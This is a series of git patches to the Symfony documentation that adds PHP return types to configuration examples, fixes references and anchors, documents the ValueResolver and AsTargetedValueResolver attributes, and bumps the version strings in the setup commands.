 
         use Symfony\Component\DependencyInjection\ContainerInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(Foo::class);
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 0844a74be43..babb7849fa8 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -232,7 +232,7 @@ service type to a service.
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CommandBus::class)
@@ -379,7 +379,7 @@ or directly via PHP attributes:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CommandBus::class)
@@ -458,7 +458,7 @@ other services. To do so, create a new service definition using the
 
         use Symfony\Component\DependencyInjection\ServiceLocator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
@@ -519,7 +519,7 @@ Now you can inject the service locator in any other services:
 
         use App\CommandBus;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(CommandBus::class)
@@ -627,7 +627,7 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(App\Handler\One::class)
@@ -734,7 +734,7 @@ attribute to the locator service defining the name of this custom method:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $container->services()
                 ->set(App\HandlerCollection::class)
                     ->args([tagged_locator('app.handler', 'key', 'myOwnMethodName')])
diff --git a/service_container/shared.rst b/service_container/shared.rst
index 435822fb25c..85db809a840 100644
--- a/service_container/shared.rst
+++ b/service_container/shared.rst
@@ -33,7 +33,7 @@ in your service definition:
 
         use App\SomeNonSharedService;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(SomeNonSharedService::class)
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index fc26c6848d3..b2bc5e72f53 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -63,7 +63,7 @@ configuration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // synthetic services don't specify a class
diff --git a/service_container/tags.rst b/service_container/tags.rst
index a2639729ff8..64c673d131c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -37,7 +37,7 @@ example:
 
         use App\Twig\AppExtension;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(AppExtension::class)
@@ -103,7 +103,7 @@ If you want to apply tags automatically for your own services, use the
 
         use App\Security\CustomInterface;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             // this config only applies to the services created by this file
@@ -273,7 +273,7 @@ Then, define the chain as a service:
 
         use App\Mail\TransportChain;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(TransportChain::class);
@@ -327,7 +327,7 @@ For example, you may add the following transports as services:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
@@ -495,7 +495,7 @@ To answer this, change the service declaration:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(\MailerSmtpTransport::class)
@@ -654,7 +654,7 @@ directly via PHP attributes:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(App\Handler\One::class)
@@ -801,7 +801,7 @@ the number, the earlier the tagged service will be located in the collection:
 
         use App\Handler\One;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(One::class)
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9ec87790d3e..105a6b5afdc 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -46,7 +46,7 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
     #[\Attribute]
     class ContainsAlphanumeric extends Constraint
     {
-        public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
 
         #[HasNamedArguments]
         public function __construct(
diff --git a/validation/severity.rst b/validation/severity.rst
index e45e04d089e..632a99519d9 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -31,13 +31,13 @@ Use the ``payload`` option to configure the error level for each constraint:
         class User
         {
             #[Assert\NotBlank(payload: ['severity' => 'error'])]
-            protected $username;
+            protected string $username;
 
             #[Assert\NotBlank(payload: ['severity' => 'error'])]
-            protected $password;
+            protected string $password;
 
             #[Assert\Iban(payload: ['severity' => 'warning'])]
-            protected $bankAccountNumber;
+            protected string $bankAccountNumber;
         }
 
     .. code-block:: yaml
@@ -101,7 +101,9 @@ Use the ``payload`` option to configure the error level for each constraint:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('username', new Assert\NotBlank([
                     'payload' => ['severity' => 'error'],

From 82d8a0b90baef94afd0d6825a9242be5ee6ef2bf Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tucksaun@users.noreply.github.com>
Date: Fri, 2 Jun 2023 08:53:49 -0400
Subject: [PATCH 3331/5766] [DependencyInjection] Fix broken reference to
 `Exclude` attribute

---
 service_container.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index f361845f996..ddafeed43fd 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1070,12 +1070,12 @@ key. For example, the default Symfony configuration contains this:
 
     The value of the ``resource`` and ``exclude`` options can be any valid
     `glob pattern`_. If you want to exclude only a few services, you
-    may use the :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+    may use the :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
     attribute directly on your class to exclude it.
 
     .. versionadded:: 6.3
 
-        The :class:`Symfony\\Component\\Dependency\Injection\\Attribute\\Exclude`
+        The :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Exclude`
         attribute was introduced in Symfony 6.3.
 
 This can be used to quickly make many classes available as services and apply some

From ba4d99e7675bb4d8c19b2c49ac656b2cdab54a69 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 2 Jun 2023 16:42:59 +0200
Subject: [PATCH 3332/5766] Update flex_private_recipes.rst

Fix bad anchor flex_private_recipes
---
 setup/flex_private_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index abecdfd5039..d4d3156466d 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -16,7 +16,7 @@ perform their own installation tasks. To do this, you need to complete several s
 * Configure your project's ``composer.json`` file; and
 * Install the recipes in your project.
 
-.. _create-a-private-github-repository
+.. _create-a-private-github-repository:
 
 Create a Private Repository
 ---------------------------

From 67b3c69441d6172a87b838d78b7206dccc42937d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 3 Jun 2023 19:49:44 +0200
Subject: [PATCH 3333/5766] [PhpUnitBridge] Fix missing backtick

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index ac5e9bbdbf5..b0d48b4c3aa 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -530,7 +530,7 @@ Clock Mocking
 
 The :class:`Symfony\\Bridge\\PhpUnit\\ClockMock` class provided by this bridge
 allows you to mock the PHP's built-in time functions ``time()``, ``microtime()``,
-``sleep()``, ``usleep()``, ``gmdate()``, and ``hrtime()`. Additionally the
+``sleep()``, ``usleep()``, ``gmdate()``, and ``hrtime()``. Additionally the
 function ``date()`` is mocked so it uses the mocked time if no timestamp is
 specified.
 

From 7fc8065113ed9462b6cc38023aba899097d90800 Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Tue, 28 Feb 2023 11:17:49 +0100
Subject: [PATCH 3334/5766] Document
 https://github.com/symfony/symfony/pull/48992

---
 controller/value_resolver.rst | 125 ++++++++++++++++++++++++++++++++--
 reference/attributes.rst      |   4 +-
 2 files changed, 122 insertions(+), 7 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 0f30fd2d0f1..4c990ac59da 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -213,6 +213,83 @@ PSR-7 Objects Resolver:
     :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
     It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
+Managing Value Resolvers
+------------------------
+
+For each argument, every resolver tagged with ``controller.argument_value_resolver``
+will be called until one provides a value. The order in which they are called depends
+on their priority. For example, the ``SessionValueResolver`` (priority 50) will be
+called before the ``DefaultValueResolver`` (priority -100) which allows to write e.g.
+``SessionInterface $session = null`` to get the session if there is one, or ``null``
+if there is none.
+
+But what if you *know* there will be a session? In that case every resolver running
+before ``SessionValueResolver`` is useless. Worse, some of these could actually
+provide a value before ``SessionValueResolver`` has a chance to (don't worry though,
+this won't happen with built-in resolvers). Since Symfony 6.3, this kind of issue
+can be resolved by leveraging the
+:class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute::
+
+    // src/Controller/SessionController.php
+    namespace App\Controller;
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
+    use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+
+    class SessionController
+    {
+        #[Route('/')]
+        public function __invoke(
+            #[ValueResolver(SessionValueResolver::class)]
+            SessionInterface $session
+        ): Response
+        {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The ``ValueResolver`` attribute was introduced in Symfony 6.3.
+
+You can target a resolver by passing its name (more on that later) as ``ValueResolver``'s
+first argument. For convenience, built-in resolvers' name are their FQCN.
+
+By default, a targeted resolver is "pinned" to the argument holding the
+``ValueResolver`` attribute, meaning that only it will be called to provide a value,
+and that it will have to.
+
+In the above example the ``DefaultValueResolver`` would never be called, so adding a
+default value to ``$session`` would be useless. If we need one, then it is fine not
+to use ``ValueResolver``.
+But then, what if we want to prevent an hypothetic ``EagerValueResolver`` to provide a
+value before ``SessionValueResolver``? Time to use ``ValueResolver``'s second argument!
+By passing it to ``true``, you can disable the targeted resolver::
+
+    // src/Controller/SessionController.php
+    namespace App\Controller;
+
+    use App\ArgumentResolver\EagerValueResolver;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
+    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+
+    class SessionController
+    {
+        #[Route('/')]
+        public function __invoke(
+            #[ValueResolver(EagerValueResolver::class, disabled: true)]
+            SessionInterface $session = null
+        ): Response
+        {
+            // ...
+        }
+    }
+
 Adding a Custom Value Resolver
 ------------------------------
 
@@ -297,8 +374,13 @@ When those requirements are met, the method creates a new instance of the
 custom value object and returns it as the value for this argument.
 
 That's it! Now all you have to do is add the configuration for the service
-container. This can be done by tagging the service with ``controller.argument_value_resolver``
-and adding a priority:
+container. This can be done by adding one of the following tags to your value resolver.
+
+``controller.argument_value_resolver``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+This tag is automatically added to every service implementing ``ValueResolverInterface``,
+but you can set it yourself to change its ``priority`` or ``name`` attributes.
 
 .. configuration-block::
 
@@ -313,7 +395,9 @@ and adding a priority:
 
             App\ValueResolver\BookingIdValueResolver:
                 tags:
-                    - { name: controller.argument_value_resolver, priority: 150 }
+                    - controller.argument_value_resolver:
+                        name: booking_id
+                        priority: 150
 
     .. code-block:: xml
 
@@ -330,7 +414,7 @@ and adding a priority:
                 <!-- ... -->
 
                 <service id="App\ValueResolver\BookingIdValueResolver">
-                    <tag name="controller.argument_value_resolver" priority="150"/>
+                    <tag name="booking_id" priority="150"/>controller.argument_value_resolver</tag>
                 </service>
             </services>
 
@@ -347,7 +431,7 @@ and adding a priority:
             $services = $containerConfigurator->services();
 
             $services->set(BookingIdValueResolver::class)
-                ->tag('controller.argument_value_resolver', ['priority' => 150])
+                ->tag('controller.argument_value_resolver', ['name' => 'booking_id', 'priority' => 150])
             ;
         };
 
@@ -364,3 +448,34 @@ command to see which argument resolvers are present and in which order they run:
 .. code-block:: terminal
 
     $ php bin/console debug:container debug.argument_resolver.inner --show-arguments
+
+You can also configure the name passed to the ``ValueResolver`` attribute to target
+your resolver. Otherwise it will default to the service's id.
+
+``controller.targeted_value_resolver``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Set this tag if you want your resolver to be called only if it is pinned by a
+``ValueResolver`` attribute. Like ``controller.argument_value_resolver``, you
+can customize the name by which your resolver can be targeted.
+
+As an alternative, you can add the
+:class:`Symfony\\Component\\HttpKernel\\Attribute\\AsTargetedValueResolver` attribute
+to your resolver and pass your custom name as its first argument::
+
+    // src/ValueResolver/IdentifierValueResolver.php
+    namespace App\ValueResolver;
+
+    use Symfony\Component\HttpKernel\Attribute\AsTargetedValueResolver;
+    use Symfony\Component\HttpKernel\Controller\ValueResolverInterface;
+
+    #[AsTargetedValueResolver('booking_id')]
+    class BookingIdValueResolver implements ValueResolverInterface
+    {
+        // ...
+    }
+
+.. versionadded:: 6.3
+
+    The ``controller.targeted_value_resolver`` tag and ``AsTargetedValueResolver``
+    attribute were introduced in Symfony 6.3.
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 2cabf9de7bd..e7507949e97 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -54,13 +54,13 @@ HttpKernel
 ~~~~~~~~~~
 
 * :doc:`AsController </controller/service>`
-* :class:`Symfony\\Component\\HttpKernel\\Attribute\\AsPinnedValueResolver`
+* :ref:`AsTargetedValueResolver <controller-targeted-value-resolver>`
 * :ref:`Cache <http-cache-expiration-intro>`
 * :ref:`MapDateTime <functionality-shipped-with-the-httpkernel>`
 * :ref:`MapQueryParameter <controller_map-request>`
 * :ref:`MapQueryString <controller_map-request>`
 * :ref:`MapRequestPayload <controller_map-request>`
-* :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver`
+* :ref:`ValueResolver <managing-value-resolvers>`
 * :ref:`WithHttpStatus <framework_exceptions>`
 * :ref:`WithLogLevel <framework_exceptions>`
 

From 50450a43aef07d7b6037db66f9e8c9fe85f14e1a Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 21 Apr 2023 11:11:12 +0200
Subject: [PATCH 3335/5766] Address
 https://github.com/symfony/symfony-docs/pull/17763#discussion_r1173363869

---
 controller/value_resolver.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 4c990ac59da..8cab4a1cb2f 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -475,6 +475,23 @@ to your resolver and pass your custom name as its first argument::
         // ...
     }
 
+You can then pass this name as ``ValueResolver``'s first argument to pin your resolver::
+
+    // src/Controller/BookingController.php
+    namespace App\Controller;
+
+    use App\Reservation\BookingId;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
+
+    class BookingController
+    {
+        public function index(#[ValueResolver('booking_id')] BookingId $id): Response
+        {
+            // ... do something with $id
+        }
+    }
+
 .. versionadded:: 6.3
 
     The ``controller.targeted_value_resolver`` tag and ``AsTargetedValueResolver``

From 1009ca2d7ca11133377b8f254841a3e92ed901ef Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 10:16:06 +0200
Subject: [PATCH 3336/5766] Do not hardcode priorities

---
 controller/value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 8cab4a1cb2f..0adfe7074fc 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -218,8 +218,8 @@ Managing Value Resolvers
 
 For each argument, every resolver tagged with ``controller.argument_value_resolver``
 will be called until one provides a value. The order in which they are called depends
-on their priority. For example, the ``SessionValueResolver`` (priority 50) will be
-called before the ``DefaultValueResolver`` (priority -100) which allows to write e.g.
+on their priority. For example, the ``SessionValueResolver`` will be called before the
+``DefaultValueResolver`` because its priority is higher. This allows to write e.g.
 ``SessionInterface $session = null`` to get the session if there is one, or ``null``
 if there is none.
 

From 31edf49e117350c8167fb151a4906ab130271378 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 10:18:12 +0200
Subject: [PATCH 3337/5766] Fix code samples

---
 controller/value_resolver.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 0adfe7074fc..3eae4ecf2af 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -234,10 +234,10 @@ can be resolved by leveraging the
     namespace App\Controller;
 
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Attribute\ValueResolver;
     use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver;
     use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
 
     class SessionController
     {
@@ -274,9 +274,9 @@ By passing it to ``true``, you can disable the targeted resolver::
 
     use App\ArgumentResolver\EagerValueResolver;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\Session\SessionInterface;
     use Symfony\Component\HttpKernel\Attribute\ValueResolver;
     use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
 
     class SessionController
     {
@@ -414,7 +414,7 @@ but you can set it yourself to change its ``priority`` or ``name`` attributes.
                 <!-- ... -->
 
                 <service id="App\ValueResolver\BookingIdValueResolver">
-                    <tag name="booking_id" priority="150"/>controller.argument_value_resolver</tag>
+                    <tag name="booking_id" priority="150">controller.argument_value_resolver</tag>
                 </service>
             </services>
 

From ac13dfc54c500e7195e499687b40dddc3541454b Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 11:11:53 +0200
Subject: [PATCH 3338/5766] =?UTF-8?q?Update=20=E2=80=9CManaging=20Value=20?=
 =?UTF-8?q?Resolvers=E2=80=9D=20section?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 controller/value_resolver.rst | 56 +++++++++++------------------------
 1 file changed, 18 insertions(+), 38 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 3eae4ecf2af..f605c93371b 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -223,12 +223,13 @@ on their priority. For example, the ``SessionValueResolver`` will be called befo
 ``SessionInterface $session = null`` to get the session if there is one, or ``null``
 if there is none.
 
-But what if you *know* there will be a session? In that case every resolver running
-before ``SessionValueResolver`` is useless. Worse, some of these could actually
-provide a value before ``SessionValueResolver`` has a chance to (don't worry though,
-this won't happen with built-in resolvers). Since Symfony 6.3, this kind of issue
-can be resolved by leveraging the
-:class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute::
+In that specific case, you don't need any resolver running before
+``SessionValueResolver``, so skipping them would not only improve performance,
+but also prevent one of them providing a value before ``SessionValueResolver``
+has a chance to.
+
+The :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute lets you
+do this by "targeting" the resolver you want::
 
     // src/Controller/SessionController.php
     namespace App\Controller;
@@ -244,7 +245,7 @@ can be resolved by leveraging the
         #[Route('/')]
         public function __invoke(
             #[ValueResolver(SessionValueResolver::class)]
-            SessionInterface $session
+            SessionInterface $session = null
         ): Response
         {
             // ...
@@ -255,40 +256,19 @@ can be resolved by leveraging the
 
     The ``ValueResolver`` attribute was introduced in Symfony 6.3.
 
-You can target a resolver by passing its name (more on that later) as ``ValueResolver``'s
-first argument. For convenience, built-in resolvers' name are their FQCN.
-
-By default, a targeted resolver is "pinned" to the argument holding the
-``ValueResolver`` attribute, meaning that only it will be called to provide a value,
-and that it will have to.
+In the example above, the ``SessionValueResolver`` will be called first because it is
+targeted. The ``DefaultValueResolver`` will be called next if no value has been provided;
+that's why we can assign ``null`` as ``$session``'s default value.
 
-In the above example the ``DefaultValueResolver`` would never be called, so adding a
-default value to ``$session`` would be useless. If we need one, then it is fine not
-to use ``ValueResolver``.
-But then, what if we want to prevent an hypothetic ``EagerValueResolver`` to provide a
-value before ``SessionValueResolver``? Time to use ``ValueResolver``'s second argument!
-By passing it to ``true``, you can disable the targeted resolver::
-
-    // src/Controller/SessionController.php
-    namespace App\Controller;
+We target a resolver by passing its name as ``ValueResolver``'s first argument.
+For convenience, built-in resolvers' name are their FQCN.
 
-    use App\ArgumentResolver\EagerValueResolver;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    use Symfony\Component\HttpKernel\Attribute\ValueResolver;
-    use Symfony\Component\Routing\Annotation\Route;
+The ``ValueResolver`` attribute can also be used to disable the targeted resolver
+by passing its ``$disabled`` argument to ``true``, in which case it won't be called.
+This is how :ref:`MapEntity allows to disable the EntityValueResolver
+for a specific controller <doctrine-entity-value-resolver>`.
+Yes, ``MapEntity`` extends ``ValueResolver``!
 
-    class SessionController
-    {
-        #[Route('/')]
-        public function __invoke(
-            #[ValueResolver(EagerValueResolver::class, disabled: true)]
-            SessionInterface $session = null
-        ): Response
-        {
-            // ...
-        }
-    }
 
 Adding a Custom Value Resolver
 ------------------------------

From 432c2ebbdcac7ff93d3e1577a9948c5f43524279 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 11:19:46 +0200
Subject: [PATCH 3339/5766] =?UTF-8?q?Remove=20=E2=80=9Cpin=E2=80=9D=20usag?=
 =?UTF-8?q?e=20remnants?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 controller/value_resolver.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index f605c93371b..736b8938201 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -435,7 +435,7 @@ your resolver. Otherwise it will default to the service's id.
 ``controller.targeted_value_resolver``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Set this tag if you want your resolver to be called only if it is pinned by a
+Set this tag if you want your resolver to be called only if it is targeted by a
 ``ValueResolver`` attribute. Like ``controller.argument_value_resolver``, you
 can customize the name by which your resolver can be targeted.
 
@@ -455,7 +455,7 @@ to your resolver and pass your custom name as its first argument::
         // ...
     }
 
-You can then pass this name as ``ValueResolver``'s first argument to pin your resolver::
+You can then pass this name as ``ValueResolver``'s first argument to target your resolver::
 
     // src/Controller/BookingController.php
     namespace App\Controller;

From b57df5476580bfcaf5ab4903c4545eb08a8e52b0 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Sun, 4 Jun 2023 11:24:13 +0200
Subject: [PATCH 3340/5766] Reword disabled resolvers paragraph

---
 controller/value_resolver.rst | 8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 736b8938201..0c017f8d1c1 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -263,13 +263,11 @@ that's why we can assign ``null`` as ``$session``'s default value.
 We target a resolver by passing its name as ``ValueResolver``'s first argument.
 For convenience, built-in resolvers' name are their FQCN.
 
-The ``ValueResolver`` attribute can also be used to disable the targeted resolver
-by passing its ``$disabled`` argument to ``true``, in which case it won't be called.
-This is how :ref:`MapEntity allows to disable the EntityValueResolver
-for a specific controller <doctrine-entity-value-resolver>`.
+A targeted resolver can also be disabled by passing ``ValueResolver``'s ``$disabled``
+argument to ``true``; this is how :ref:`MapEntity allows to disable the
+EntityValueResolver for a specific controller <doctrine-entity-value-resolver>`.
 Yes, ``MapEntity`` extends ``ValueResolver``!
 
-
 Adding a Custom Value Resolver
 ------------------------------
 

From caae3c5d65b70820977711b4f238f4d53475f0ea Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Jun 2023 19:28:06 +0300
Subject: [PATCH 3341/5766] setup.rst documentation fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 7bb5a8010a2..bf045c25710 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.3.*@dev" --webapp
+    $ symfony new my_project_directory --version="6.3.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.3.*@dev"
+    $ symfony new my_project_directory --version="6.3.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.3.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 1c5902d739130eaff5438efa764802e14b3ce822 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 4 Jun 2023 19:27:19 +0300
Subject: [PATCH 3342/5766] setup.rst documentation fix

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index bf045c25710..e8f3ee791a2 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.3.*" --webapp
+    $ symfony new my_project_directory --version="6.4.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.3.*"
+    $ symfony new my_project_directory --version="6.4.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.3.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 68f135862f28f388b90ae9196380697f80e7ba08 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 5 Jun 2023 08:37:14 +0200
Subject: [PATCH 3343/5766] Update setup docs for Symfony 7.0

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index e8f3ee791a2..0ad060d8480 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.4.*@dev" --webapp
+    $ symfony new my_project_directory --version="7.0.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.4.*@dev"
+    $ symfony new my_project_directory --version="7.0.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
